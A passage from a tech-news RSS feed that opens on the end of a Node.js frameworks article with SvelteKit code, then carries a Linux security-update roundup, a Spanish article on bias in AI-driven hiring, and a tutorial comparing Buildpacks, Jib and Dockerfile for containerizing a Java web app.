/** @type {import('./$types').PageLoad} */
export async function load({ params, fetch }) {
  // Use the SvelteKit-provided `fetch` to call our API endpoint.
  const response = await fetch(`/api/dogs/${params.id}`);

  if (response.ok) {
    const dog = await response.json();
    // The object returned here is passed as the 'data' prop to the page.
    return {
      dog: dog
    };
  }

  // If the API returns an error, forward it to the user.
  throw error(response.status, 'Dog breed not found');
}</code></pre>



<p class="wp-block-paragraph">The second component is the UI:</p>



<pre class="wp-block-code"><code>// src/routes/dogs/[id]/+page.svelte



<div>
  <h1>Dog Breed Profile</h1>
  <p>Breed Name: <strong>{data.dog.breed}</strong></p>
</div></code></pre>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">The Node.js ecosystem has moved beyond the “default-to-Express” days. Now, it is worth your time to look for a framework that fits your specific situation.<br><br>If you are building <a href="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html">microservices</a> or high-performance APIs, where every millisecond counts, you owe it to yourself to look at minimalist frameworks like Fastify or Hono. This class of frameworks gives you raw speed and total control without requiring decisions about infrastructure.<br><br>If you are building an enterprise monolith or working with a big team, batteries-included frameworks like Nest or Adonis offer useful structure. The complexity of the initial setup buys you long-term maintainability and makes the codebase more standardized for new developers.<br><br>Finally, if your project is a content-rich web application, full-stack meta-frameworks like Next, Nuxt, and SvelteKit offer the best developer experience and the perfect profile of tools.<br><br>It’s also worth noting that, while Node remains the standard server-side runtime, alternatives <a href="https://www.infoworld.com/article/2256205/what-is-deno-a-better-nodejs.html">Deno</a> and <a href="https://www.infoworld.com/article/2338008/explore-bunjs-the-all-in-one-javascript-runtime.html">Bun</a> have both made a name for themselves. Deno has great heritage, is open source with a strong security focus, and has its own framework, <a href="https://www.infoworld.com/article/3523813/intro-to-deno-fresh-a-fresh-take-on-full-stack-javascript.html">Deno Fresh</a>. Bun is respected for its ultra-fast startup and integrated tooling.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Monday]]></title>
<description><![CDATA[Security updates have been issued by Debian (chromium, libxfont, mesa, opam, and wireless-regdb), Fedora (acl, attr, chromium, cjson, composer, docker-compose, jfrog-cli, librabbitmq, libssh2, libXfont2, log4cxx, OpenImageIO, openssh, p11-kit, perl-Crypt-DSA, perl-HTML-Gumbo, prometheus, python-d...]]></description>
<link>https://tsecurity.de/de/3665263/linux-tipps/security-updates-for-monday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665263/linux-tipps/security-updates-for-monday/</guid>
<pubDate>Mon, 13 Jul 2026 14:41:08 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>Debian</b> (chromium, libxfont, mesa, opam, and wireless-regdb), <b>Fedora</b> (acl, attr, chromium, cjson, composer, docker-compose, jfrog-cli, librabbitmq, libssh2, libXfont2, log4cxx, OpenImageIO, openssh, p11-kit, perl-Crypt-DSA, perl-HTML-Gumbo, prometheus, python-dulwich, python-idna, python-pillow, python-tornado, sssd, tmux, upower, webkitgtk, xorg-x11-server, and xorg-x11-server-Xwayland), <b>Mageia</b> (libarchive and vim), <b>Oracle</b> (389-ds:1.4, buildah, cups, edk2, freerdp, golang, grafana, gstreamer1-plugins-bad-free, gstreamer1-plugins-good, gstreamer1-plugins-ugly-free, kernel, libexif, libsolv, libtasn1, libxml2, nginx:1.24, nginx:1.26, nodejs:22, nodejs:24, oci-seccomp-bpf-hook, podman, postgresql:18, python-urllib3, tigervnc, tomcat, unbound, and xorg-x11-server), <b>Slackware</b> (p11-kit), and <b>SUSE</b> (agama, dash, dracut, flannel, go1.26, gsasl, gstreamer-plugins-good, ImageMagick, imagemagick, kernel, krb5, krb5, krb5-mini, libIex-3_4-33, libmbedtls23, libxfont2, nasm, nghttp2, perl-CGI-Session, perl-dbi, perl-List-SomeUtils-XS, python-pillow, python-social-auth-app-django, python-urllib3, python313-Django4, python313-Django6, python313-pytest-html, python313-sqlparse, python313-websockets, rclone, rust-keylime, rustup, sccache, spectre-meltdown-checker, sssd, terraform-provider-aws, terraform-provider-azurerm, terraform-provider-external, terraform-provider-google, terraform-provider-helm, terraform-provider-kubernetes, terraform-provid, thunderbird, tiff, traefik2, xorg-x11-server, and xwayland).]]></content:encoded>
</item>
<item>
<title><![CDATA[El potencial de la IA para contaminar los procesos de selección con sesgos]]></title>
<description><![CDATA[Resulta difícil encontrar un área de la empresa moderna en la que la inteligencia artificial (IA) no haya encontrado aplicación, y los procesos de selección tecnológica no son una excepción. Una encuesta de MyPerfectResume revela que el 73% de los empleadores afirma utilizar IA en las decisiones ...]]></description>
<link>https://tsecurity.de/de/3664858/it-nachrichten/el-potencial-de-la-ia-para-contaminar-los-procesos-de-seleccin-con-sesgos/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664858/it-nachrichten/el-potencial-de-la-ia-para-contaminar-los-procesos-de-seleccin-con-sesgos/</guid>
<pubDate>Mon, 13 Jul 2026 12:03:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Resulta difícil encontrar un área de la empresa moderna en la que la inteligencia artificial (IA) no haya encontrado aplicación, y los procesos de selección tecnológica no son una excepción. Una encuesta de MyPerfectResume revela que el 73% de los empleadores afirma utilizar IA en las decisiones de contratación, mientras que el 52% la emplea para decisiones relacionadas con la reestructuración organizativa y la planificación de puestos.</p>



<p>Por otro lado, los candidatos también recurren cada vez más a estas herramientas. Según datos de SAP, el 52% de las personas que buscan empleo actualmente utiliza IA para apoyar su proceso de búsqueda, principalmente para mejorar los materiales de candidatura (85%) y prepararse para entrevistas (73%).</p>



<p>Jasmine Escalera, experta en carreras profesionales de Zety, plataforma especializada en orientación laboral y creación de currículums, considera que “la tecnología puede ayudar a las empresas a ser más eficientes, pero las decisiones de contratación siguen beneficiándose del criterio humano, especialmente cuando la experiencia de un candidato requiere un contexto que los sistemas automatizados de evaluación no siempre son capaces de comprender”.</p>



<p>Está claro que la IA ya forma parte esencial del proceso de contratación. Por ello, las organizaciones deben definir una estrategia clara sobre cómo utilizarla en el futuro, abordando cuestiones como los sesgos en la selección, la transparencia y el equilibrio adecuado entre la intervención humana y la asistencia tecnológica.</p>



<h2 class="wp-block-heading">Identificar las señales de alerta</h2>



<p>La IA promete aportar eficiencia tanto a candidatos como a empleadores, pero una excesiva dependencia de la tecnología puede generar consecuencias no deseadas. Los datos de MyPerfectResume muestran además que el 65% de los encuestados considera que la IA rechaza automáticamente a candidatos antes de que una persona llegue a revisar sus solicitudes, mientras que un 14% afirma que la IA descarta de entrada a más de la mitad de los aspirantes.</p>



<p>Asimismo, el 47% cree que la tecnología ha dejado fuera del proceso a candidatos que, de otro modo, habrían avanzado en la selección. Además, el 51% asegura utilizar IA para identificar perfiles considerados de riesgo, como profesionales percibidos como <em>job hoppers</em> —personas con frecuentes cambios de empleo— o candidatos con interrupciones en su trayectoria laboral.</p>



<p>Según Escalera, marcar a determinados candidatos como riesgosos y descartarlos antes de que un reclutador revise su currículum puede excluir perfiles cuya experiencia profesional cuenta una historia más compleja de lo que un algoritmo está preparado para interpretar. Por ejemplo, quienes regresan al mercado laboral tras un periodo de ausencia pueden aportar capacidades valiosas que no encajan fácilmente en los criterios automatizados de evaluación.</p>



<p>También preocupa que la IA descarte a profesionales que desean cambiar de sector o que cuentan con cualificaciones que no se reflejan exactamente en el lenguaje utilizado en una oferta de empleo, impidiendo que un reclutador humano llegue siquiera a revisar su candidatura.</p>



<p>Laurie Cure, directora ejecutiva de la consultora Innovative Connections, afirma haber observado casos en los que la IA ha eliminado a candidatos altamente cualificados, pero más nerviosos durante las entrevistas, que necesitaban más tiempo del previsto por el sistema para responder a una pregunta. También señala situaciones en las que los aspirantes utilizan un lenguaje diferente al que la IA está programada para detectar, lo que impide que sean recomendados para continuar en el proceso.</p>



<p>Además, ha constatado escenarios en los que la IA utiliza datos históricos para identificar patrones asociados a empleados considerados exitosos, priorizando determinadas universidades, trayectorias profesionales, antigüedad o características similares. Aunque estos elementos no constituyen necesariamente un sesgo en sí mismos, pueden perpetuar la creencia de que existe una correlación directa entre dichos factores y el rendimiento profesional, algo que a menudo no se sostiene.</p>



<p>Por ello, añade Cure, es esencial que las personas sigan formando parte activa de estos procesos, aportando contexto, intuición, matices y la capacidad de detectar potencial en los candidatos, algo que la IA todavía no puede replicar.</p>



<p>Y dice: “Creo que estamos permitiendo que la IA se convierta en el proceso, cuando debería limitarse a apoyarlo para hacer que la contratación sea mejor”.</p>



<h2 class="wp-block-heading">Priorizar la precisión frente a la velocidad</h2>



<p>Para Cure, uno de los principales problemas es que muchas organizaciones han perdido el equilibrio adecuado. En lugar de utilizar la IA como complemento al trabajo humano, la emplean para realizar la mayor parte, o incluso la totalidad, del cribado curricular.</p>



<p>Las empresas que implementan IA únicamente para acelerar determinadas fases del proceso, sin valorar previamente si realmente aportará beneficios, corren el riesgo de introducir sesgos no deseados.</p>



<p>“Esto permite gestionar grandes volúmenes de candidaturas y aporta una mayor consistencia en la aplicación de los criterios de selección, pero probablemente deja fuera a muchos buenos candidatos”, señala, para añadir: “El componente humano debe desempeñar un papel muy activo en la definición de los requisitos de los puestos para evitar que sean excesivamente restrictivos. Las organizaciones deben prestar atención a cómo instruyen a la IA para realizar su trabajo y ser cautelosas al definir los criterios de evaluación y filtrado”.</p>



<p>En última instancia, la IA no es una herramienta que pueda implantarse y olvidarse, ni debería contemplarse únicamente como un mecanismo para ganar eficiencia, ya que muchos procesos continúan beneficiándose —e incluso dependen— del juicio humano.</p>



<p>Por ello, resulta fundamental realizar auditorías periódicas de los sistemas de IA utilizados en contratación y recordar que el uso de estas tecnologías no exime a las organizaciones de sus obligaciones legales y éticas en materia de igualdad de oportunidades laborales. Esto hace que el equilibrio entre intervención humana y automatización sea aún más relevante.</p>



<h2 class="wp-block-heading">Transparencia y confianza de los candidatos</h2>



<p>La irrupción de la IA también ha introducido un factor de desconfianza en los procesos de selección. Los empleadores no siempre tienen claro hasta qué punto los candidatos han recurrido a herramientas de IA, mientras que los aspirantes desconocen en muchos casos cómo se utiliza exactamente esta tecnología durante la contratación.</p>



<p>Los candidatos saben que las empresas están incorporando IA a sus procesos, pero a menudo desconocen el alcance de su utilización y en qué momento pueden esperar interactuar con una persona.</p>



<p>“Esa falta de claridad puede generar escepticismo y frustración, especialmente en un mercado laboral que ya resulta extremadamente competitivo”, explica Escalera. A su juicio, “el objetivo no debería ser convencer a los candidatos de que la IA no se utiliza, sino ayudarles a comprender cómo la tecnología sirve de apoyo a la toma de decisiones, en lugar de sustituir el criterio humano que hay detrás de ellas”.</p>



<p>Como recomendación, Cure propone que las organizaciones comiencen elaborando un mapa completo de su proceso de contratación, identificando cada una de sus fases. Esto permite visualizar con claridad dónde la IA aporta valor y en qué puntos sigue siendo necesaria la intervención humana.</p>



<p>Las empresas pueden acabar dependiendo excesivamente de la IA o, por el contrario, dedicar recursos humanos a tareas que podrían automatizarse y destinarse a actividades de mayor valor añadido.</p>



<p>“Las personas aportan una comprensión más amplia de la trayectoria profesional de un candidato y tienen la capacidad de detectar cuándo alguien posee el potencial necesario para evolucionar dentro de un puesto. También son capaces de interpretar trayectorias profesionales no convencionales y motivaciones personales con mayor precisión que la IA. Por su parte, la IA aporta consistencia, eficiencia, estandarización de criterios y un nivel de objetividad beneficioso para el proceso. Si logramos combinar eficazmente ambos elementos en los puntos adecuados, la contratación sale reforzada, no debilitada”, concluye Cure.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Buildpacks vs Jib vs Dockerfile: Comparing containerization methods]]></title>
<description><![CDATA[As developers we work on source code, but production systems don't run source, they need a runnable thing. Starting many years ago, most enterprises were using Java EE (aka J2EE) and the runnable "thing" we would deploy to production was a ".jar", ".war", or ".ear" file. Those files consisted of ...]]></description>
<link>https://tsecurity.de/de/3662836/it-security-nachrichten/buildpacks-vs-jib-vs-dockerfile-comparing-containerization-methods/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662836/it-security-nachrichten/buildpacks-vs-jib-vs-dockerfile-comparing-containerization-methods/</guid>
<pubDate>Sun, 12 Jul 2026 08:06:57 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph"><p>As developers we work on source code, but production systems don't run source, they need a runnable thing. Starting many years ago, most enterprises were using Java EE (aka J2EE) and the runnable "thing" we would deploy to production was a ".jar", ".war", or ".ear" file. Those files consisted of the compiled Java classes and would run inside of a "container" running on the JVM. As long as your class files were compatible with the JVM and container, the app would just work.</p><p>That all worked great until people started building non-JVM stuff: Ruby, Python, NodeJS, Go, etc. Now we needed another way to package up apps so they could be run on production systems. To do this we needed some kind of virtualization layer that would allow anything to be run. Heroku was one of the first to tackle this and they used a Linux virtualization system called "lxc" - short for Linux Containers. Running a "container" on lxc was half of the puzzle because still a "container" needed to be created from source code, so Heroku invented what they called "Buildpacks" to create a standard way to convert source into a container.</p><p>A bit later a Heroku competitor named dotCloud was trying to tackle similar problems and went a different route which ultimately led to Docker, a standard way to create and run containers across platforms including Windows, Mac, Linux, Kubernetes, and Google Cloud Run. Ultimately the container specification behind Docker became a standard under the <a href="https://opencontainers.org/" target="_blank">Open Container Initiative (OCI)</a> and the virtualization layer switched from lxc to <a href="https://github.com/opencontainers/runc" target="_blank">runc</a> (also an OCI project).</p><p>The traditional way to build a Docker container is built into the <code>docker</code> tool and uses a sequence of special instructions usually in a file named <code>Dockerfile</code> to compile the source code and assemble the "layers" of a container image.</p><p>Yeah, this is confusing because we have all sorts of different "containers" and ways to run stuff in those containers. And there are also many ways to create the things that run in containers. The bit of history is important because it helps us categorize all of this into three parts:</p><ul><li>Container Builders - Turn source code into a Container Image</li><li>Container Images - Archive files containing a "runnable" application</li><li>Containers - Run Container Images</li></ul><p>With Java EE those three categories map to technologies like:</p><ul><li>Container Builders == Ant or Maven</li><li>Container Images == .jar, .war, or .ear</li><li>Containers == JBoss, WebSphere, WebLogic</li></ul><p>With Docker / OCI those three categories map to technologies like:</p><ul><li>Container Builders == Dockerfile, Buildpacks, or Jib</li><li>Container Images == .tar files usually not dealt with directly but through a "container registry"</li><li>Containers == Docker, Kubernetes, Cloud Run</li></ul><h3>Java Sample Application</h3>Let's explore the Container Builder options further on a little Java server application.  If you want to follow along, clone my <a href="https://github.com/jamesward/comparing-docker-methods" target="_blank">comparing-docker-methods project</a>:<p><code>git clone https://github.com/jamesward/comparing-docker-methods.git</code><br></p><p><code>cd comparing-docker-methods</code></p><p></p><p>In that project you'll see a basic Java web server in <code>src/main/java/com/google/WebApp.java</code> that just responds with "hello, world" on a GET request to <code>/</code>. Here is the source:<br></p><p></p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', 'package com.google;\r\n\r\nimport com.sun.net.httpserver.HttpServer;\r\nimport java.io.IOException;\r\nimport java.io.OutputStream;\r\nimport java.net.InetSocketAddress;\r\n\r\npublic class WebApp {\r\n\r\n  public static void main(String[] args) throws IOException {\r\n    int port = Integer.parseInt(System.getenv().getOrDefault("PORT", "8080"));\r\n    HttpServer server = HttpServer.create(new InetSocketAddress(port), 0);\r\n\r\n    server.createContext("/", handler -&gt; {\r\n      byte[] response = "hello, world".getBytes();\r\n      handler.sendResponseHeaders(200, response.length);\r\n      try (OutputStream os = handler.getResponseBody()) {\r\n        os.write(response);\r\n      }\r\n    });\r\n\r\n    System.out.println("Listening at http://localhost:" + port);\r\n\r\n    server.start();\r\n  }\r\n}'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa860670&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>This project uses Maven with a minimal <code>pom.xml</code> build config file for compiling and running the Java server:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', '&lt;?xml version="1.0" encoding="UTF-8"?&gt;\r\n&lt;project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"\r\n    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"&gt;\r\n  &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt;\r\n\r\n  &lt;groupId&gt;com.google&lt;/groupId&gt;\r\n  &lt;artifactId&gt;sample-java-mvn&lt;/artifactId&gt;\r\n  &lt;packaging&gt;jar&lt;/packaging&gt;\r\n  &lt;version&gt;0.1.0-SNAPSHOT&lt;/version&gt;\r\n\r\n  &lt;properties&gt;\r\n    &lt;maven.compiler.source&gt;8&lt;/maven.compiler.source&gt;\r\n    &lt;maven.compiler.target&gt;8&lt;/maven.compiler.target&gt;\r\n  &lt;/properties&gt;\r\n\r\n  &lt;build&gt;\r\n    &lt;plugins&gt;\r\n      &lt;plugin&gt;\r\n        &lt;groupId&gt;org.codehaus.mojo&lt;/groupId&gt;\r\n        &lt;artifactId&gt;exec-maven-plugin&lt;/artifactId&gt;\r\n        &lt;version&gt;1.6.0&lt;/version&gt;\r\n        &lt;executions&gt;\r\n          &lt;execution&gt;\r\n            &lt;goals&gt;\r\n              &lt;goal&gt;java&lt;/goal&gt;\r\n            &lt;/goals&gt;\r\n          &lt;/execution&gt;\r\n        &lt;/executions&gt;\r\n        &lt;configuration&gt;\r\n          &lt;mainClass&gt;com.google.WebApp&lt;/mainClass&gt;\r\n        &lt;/configuration&gt;\r\n      &lt;/plugin&gt;\r\n\r\n      &lt;plugin&gt;\r\n        &lt;groupId&gt;org.apache.maven.plugins&lt;/groupId&gt;\r\n        &lt;artifactId&gt;maven-jar-plugin&lt;/artifactId&gt;\r\n        &lt;version&gt;3.2.0&lt;/version&gt;\r\n        &lt;configuration&gt;\r\n          &lt;archive&gt;\r\n            &lt;manifest&gt;\r\n              &lt;mainClass&gt;com.google.WebApp&lt;/mainClass&gt;\r\n            &lt;/manifest&gt;\r\n          &lt;/archive&gt;\r\n        &lt;/configuration&gt;\r\n      &lt;/plugin&gt;\r\n    &lt;/plugins&gt;\r\n  &lt;/build&gt;\r\n\r\n&lt;/project&gt;'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa860c10&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>If you want to run this locally make sure you have Java 8 installed and from the project root directory, run:</p><p><code>./mvnw compile exec:java</code></p><p>You can test the server by visiting: <a href="http://localhost:8080/" target="_blank">http://localhost:8080</a></p><h3>Container Builder: Buildpacks</h3><p>We have an application that we can run locally so let's get back to those Container Builders. Earlier you learned that Heroku invented Buildpacks to create standard, polyglot ways to go from source to a Container Image. When Docker / OCI Containers started gaining popularity Heroku and Pivotal worked together to make their Buildpacks work with Docker / OCI Containers. That work is now a sandbox Cloud Native Computing Foundation project: <a href="https://buildpacks.io/" target="_blank">https://buildpacks.io/</a></p><p>To use Buildpacks you will need to <a href="https://docs.docker.com/get-started/" target="_blank">install Docker</a> and <a href="https://github.com/buildpacks/pack/releases" target="_blank">the pack tool</a>. Now from the command line tell Buildpacks to take your source and turn it into a Container Image:</p><p><code>pack build --builder=gcr.io/buildpacks/builder:v1 comparing-docker-methods:buildpacks</code></p><p>Magic! You didn't have to do anything and the Buildpacks knew how to turn that Java application into a Container Image. It even works on Go, NodeJS, Python, and .Net apps out-of-the-box. So what just happened?  Buildpacks inspect your source and try to identify it as something it knows how to build. In the case of our sample application it noticed the <code>pom.xml</code> file and decided it knows how to build Maven-based applications. The <code>--builder</code> flag told it where to get the Buildpacks from. In this case, <code>gcr.io/buildpacks/builder:v1</code> are the Container Image coordinates to <a href="https://cloud.google.com/blog/products/containers-kubernetes/google-cloud-now-supports-buildpacks">Google Cloud's Buildpacks</a>. Alternatively you could use the Heroku or Paketo Buildpacks. The parameter <code>comparing-docker-methods:buildpacks</code> is the Container Image coordinates for where to store the output. In this case it stores on the local docker daemon. You can now run that Container Image locally with <code>docker</code>:</p><p><code>docker run -it -ePORT=8080 -p8080:8080 comparing-docker-methods:buildpacks</code></p><p>Of course you can also run that Container Image anywhere that runs Docker / OCI Containers like Kubernetes and Cloud Run.</p><p>Buildpacks are nice because in many cases they just work and you don't have to do anything special to turn your source into something runnable. But the resulting Container Images created from Buildpacks can be a bit bulky. Let's use a tool called <a href="https://github.com/wagoodman/dive" target="_blank"><code>dive</code></a> to examine what is in the created container image:</p><p><code>dive comparing-docker-methods:buildpacks</code></p><p></p><p></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Dive_comparison.max-1000x1000.png" alt="Container Image">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph"><p>Here you can see the Container Image has 11 layers and a total image size of 319MB. With <code>dive</code> you can explore each layer and see what was changed. In this Container Image the first 6 layers are the base operating system. Layer 7 is the JVM and layer 8 is our compiled application. Layering enables great caching so if only layer 8 changes, then layers 1 through 7 do not need to be re-downloaded. One downside of Buildpacks is how (at least for now) all of the dependencies and compiled application code are stored in a single layer. It would be better to have separate layers for the dependencies and the compiled application.</p><p>To recap, Buildpacks are the easy option that "just works" right out-of-the-box. But the Container Images are a bit large and not optimally layered.</p><h3>Container Builder: Jib</h3><p>The open source <a href="https://github.com/GoogleContainerTools/jib" target="_blank">Jib project</a> is a Java library for creating Container Images with Maven and Gradle plugins. To use it on a Maven project (like the one we from above), just add a build plugin to the <code>pom.xml</code> file:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', '&lt;plugin&gt;\r\n    &lt;groupId&gt;com.google.cloud.tools&lt;/groupId&gt;\r\n    &lt;artifactId&gt;jib-maven-plugin&lt;/artifactId&gt;\r\n    &lt;version&gt;2.6.0&lt;/version&gt;\r\n&lt;/plugin&gt;'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa860d30&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>Now a Container Image can be created and stored in the local docker daemon by running:</p><p><code>./mvnw compile jib:dockerBuild -Dimage=comparing-docker-methods:jib</code></p><p>Using <code>dive</code> we will see that the Container Image for this application is now only 127MB thanks to slimmer operating system and JVM layers. Also, on a Spring Boot application we can see how Jib layers the dependencies, resources, and compiled application for better caching:</p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Spring_Boot_Application.max-1000x1000.png" alt="Spring Boot Application">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph"><p>In this example the 18MB layer contains the runtime dependencies and the final layer contains the compiled application. Unlike with Buildpacks the original source code is not included in the Container Image. Jib also has a great feature where you can use it without docker being installed, as long as you store the Container Image on an external Container Registry (like DockerHub or the Google Cloud Container Registry). Jib is a great option with Maven and Gradle builds for Container Images that use the JVM.</p><h3>Container Builder: Dockerfile</h3><p>The traditional way to create Container Images is built into the <code>docker</code> tool and uses a sequence of instructions defined in a file usually named <code>Dockerfile</code>. Here is a <code>Dockerfile</code> you can use with the sample Java application:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', 'FROM adoptopenjdk/openjdk8 as builder\r\n\r\nWORKDIR /app\r\nCOPY . /app\r\n\r\nRUN ./mvnw compile jar:jar\r\n\r\nFROM adoptopenjdk/openjdk8:jre\r\n\r\nCOPY --from=builder /app/target/*.jar /server.jar\r\n\r\nCMD ["java", "-jar", "/server.jar"]'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa860d90&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>In this example, the first four instructions start with the AdoptOpenJDK 8 Container Image and build the source to a Jar file. The final Container Image is created from the AdoptOpenJDK 8 JRE Container Image and includes the created Jar file. You can run <code>docker</code> to create the Container Image using the <code>Dockerfile</code> instructions:</p><p><code>docker build -t comparing-docker-methods:dockerfile </code></p><p>Using <code>dive</code> we can see a pretty slim Container Image at 209MB:<br></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Container_image.max-1000x1000.png" alt="Container Image">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph"><p>With a <code>Dockerfile</code> we have full control over the layering and base images. For example, we could use the <a href="https://github.com/GoogleContainerTools/distroless/tree/master/java" target="_blank">Distroless Java base image</a> to trim down the Container Image even further. This method of creating Container Images provides a lot of flexibility but we do have to write and maintain the instructions.</p><p>With this flexibility we can do some cool stuff. For example, we can use GraalVM to create a "native image" of our application. This is an ahead-of-time compiled binary which can reduce startup time, reduce memory usage, and alleviate the need for a JVM in the Container Image. And we can go even further and create a statically linked native image which includes everything needed to run so that even an operating system is not needed in the Container Image. Here is the Dockerfile to do that:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', 'FROM oracle/graalvm-ce:20.2.0-java11 as builder\r\n\r\nWORKDIR /app\r\nCOPY . /app\r\n\r\nRUN gu install native-image\r\n\r\n# BEGIN PRE-REQUISITES FOR STATIC NATIVE IMAGES FOR GRAAL 20.2.0\r\n# SEE: https://github.com/oracle/graal/blob/master/substratevm/StaticImages.md\r\nARG RESULT_LIB="/staticlibs"\r\n\r\nRUN mkdir ${RESULT_LIB} &amp;&amp; \\\r\n    curl -L -o musl.tar.gz https://musl.libc.org/releases/musl-1.2.1.tar.gz &amp;&amp; \\\r\n    mkdir musl &amp;&amp; tar -xvzf musl.tar.gz -C musl --strip-components 1 &amp;&amp; cd musl &amp;&amp; \\\r\n    ./configure --disable-shared --prefix=${RESULT_LIB} &amp;&amp; \\\r\n    make &amp;&amp; make install &amp;&amp; \\\r\n    cd / &amp;&amp; rm -rf /muscl &amp;&amp; rm -f /musl.tar.gz &amp;&amp; \\\r\n    cp /usr/lib/gcc/x86_64-redhat-linux/4.8.2/libstdc++.a ${RESULT_LIB}/lib/\r\n\r\nENV PATH="$PATH:${RESULT_LIB}/bin"\r\nENV CC="musl-gcc"\r\n\r\nRUN curl -L -o zlib.tar.gz https://zlib.net/zlib-1.2.11.tar.gz &amp;&amp; \\\r\n   mkdir zlib &amp;&amp; tar -xvzf zlib.tar.gz -C zlib --strip-components 1 &amp;&amp; cd zlib &amp;&amp; \\\r\n   ./configure --static --prefix=${RESULT_LIB} &amp;&amp; \\\r\n    make &amp;&amp; make install &amp;&amp; \\\r\n    cd / &amp;&amp; rm -rf /zlib &amp;&amp; rm -f /zlib.tar.gz\r\n#END PRE-REQUISITES FOR STATIC NATIVE IMAGES FOR GRAAL 20.2.0\r\n\r\nRUN ./mvnw compile jar:jar\r\n\r\nRUN native-image \\\r\n  --static \\\r\n  --libc=musl \\\r\n  --no-fallback \\\r\n  --no-server \\\r\n  --install-exit-handlers \\\r\n  -H:Name=webapp \\\r\n  -cp /app/target/*.jar \\\r\n  com.google.WebApp\r\n\r\nFROM scratch\r\n\r\nCOPY --from=builder /app/webapp /webapp\r\n\r\nENTRYPOINT ["/webapp"]'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa860df0&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>You will see there is a bit of setup needed to support static native images. After that setup the Jar is compiled like before with Maven. Then the <code>native-image</code> tool creates the binary from the Jar. The <code>FROM scratch</code> instruction means the final container image will start with an empty one. The statically linked binary created by <code>native-image</code> is then copied into the empty container.</p><p>Like before you can use <code>docker</code> to build the Container Image:</p><p><code>docker build -t comparing-docker-methods:graalvm .</code></p><p>Using <code>dive</code> we can see the final Container Image is only 11MB!</p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Dive_Image.max-1000x1000.png" alt="Container Image">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph"><p>And it starts up super fast because we don't need the JVM, OS, etc. Of course GraalVM is not always a great option as there are some challenges like dealing with reflection and debugging. You can read more about this in my blog, <a href="https://jamesward.com/2020/05/07/graalvm-native-image-tips-tricks/" target="_blank">GraalVM Native Image Tips &amp; Tricks</a>.</p><p>This example does capture the flexibility of the <code>Dockerfile</code> method and the ability to do anything you need. It is a great escape hatch when you need one.</p><h3>Which Method Should You Choose?</h3><p></p><ul><li>The easiest, polyglot method: Buildpacks</li><li>Great layering for JVM apps: Jib</li><li>The escape hatch for when those methods don't fit: Dockerfile</li></ul><p></p><p>Check out my <a href="https://github.com/jamesward/comparing-docker-methods" target="_blank">comparing-docker-methods project</a> to explore these methods as well as the mentioned Spring Boot + Jib example.</p></div>
<div class="block-related_article_tout">





